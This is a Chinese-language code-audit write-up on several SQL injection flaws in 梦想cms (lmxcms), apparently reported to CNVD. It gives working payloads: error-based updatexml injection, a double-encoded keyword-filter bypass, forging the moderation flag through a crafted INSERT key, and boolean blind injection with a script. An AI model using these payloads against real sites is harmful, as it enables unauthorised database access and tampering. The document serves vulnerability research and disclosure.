【代码审计 & SQL注入篇】梦想cms代码审计
文章目录
前言
这是梦想cms代码审计的第一篇,第一次对完整的cms进行审计,有很多不足的地方,而且都是一些比较简单的SQL注入漏洞,借此机会学习一下PHP的MVC架构。
环境
调试环境:MAMP PRO + Sublime Text + Apache + PHP5.4.45
CNVD中已提交的漏洞
后台SQL注入
BookAction.class.php
在c/class/db.class.php
中第95行存在SQL语句拼接
看看是否有地方可以调用
在c/admin/BookAction.class.php
中,reply方法会调用上方的SQL语句
调用流程为:getRely->parent::selectModel->parent::selectDB
利用报错注入
payload如下:
1 | ?m=book&a=reply&id=3) or updatexml(0,concat(0x7e,version()),1) --+ |
前台SQL注入
TagsAction.class.php
在TagsAction.class.php处存在SQL注入
调用流程为getNameData->parent::oneModel->parent::oneDB
bp发包
传入的name参数可控,但是在有过滤。
在这个cms中,过滤的函数在function/common.php
中的p
函数
其中正则过滤如下:
1 | if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)) |
不过在过滤后,TagsAction.class.php
还有一个函数string::delHtml
这一个函数主要是去掉HTML标签,例如<>
这个时候虽然无法直接使用select进行注入,不过可以先传入sel<>ect
,绕过正则匹配后,利用strip_tags
函数将<>
去除,最终传入的sql语句即为select
但是可以传入select还不能完成注入,因为上方的单引号也被过滤了
不过在TagsAction.class.php
处还有一个urldecode函数
那么这样就可以实现二次编码注入
1 | ?m=tags&name=%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33 |
BookAction.class.php
在c/index/BookAction.class.php
中存在如下代码
跟进bookModel::add->parent::addModel->parent::addDB
将sql语句打印出来
bp抓包,传入BookAction.class.php
中需要的值
1 | POST /?m=book |
同样,这个地方和上一次地方也是存在单引号转义的情况
不过这里insert可以使用)
闭合注入,不过这个cms需要管理员对留言进行审核,审核通过后才能在前端显示评论。
换句话说,能否通过修改数据库中的值,使得将评论显示在前端
我们可以看到数据库lmx_book
表中,字段如下
显而易见,ischeck如果为1,那么就是可见的
并且在insert语句中,key和value都是可控的,因此我们也就可以伪造ischeck
这样的话就可以构造payload
1 | GET: ?m=book |
查看数据库
可以看到伪造ischeck成功
查看网站前端
此时留言伪造成功。
将payload修改如下:
1 | setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,database(),3,4,5,6,1);#=1 |
数据外带成功
SearchAction.class.php
如下图跟进searchModel::searchCoutn->parent::countModel->parent::countDB->function countDB
将传入的sql语句打印出来
可以看到搜索框执行的sql语句
这里可以使用tuijian
这个参数进行注入
这里尝试使用SQL盲注
1 | ?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23 |
此时判断数据库名称的第一个字母为l(0x6c)
,返回的内容长度为8457
此时判断数据库名称的第一个字母为m(0x6d)
,返回的内容长度为5357
可借此进行布尔盲注,脚本如下
1 | import requests |
得到数据库名:lmxcms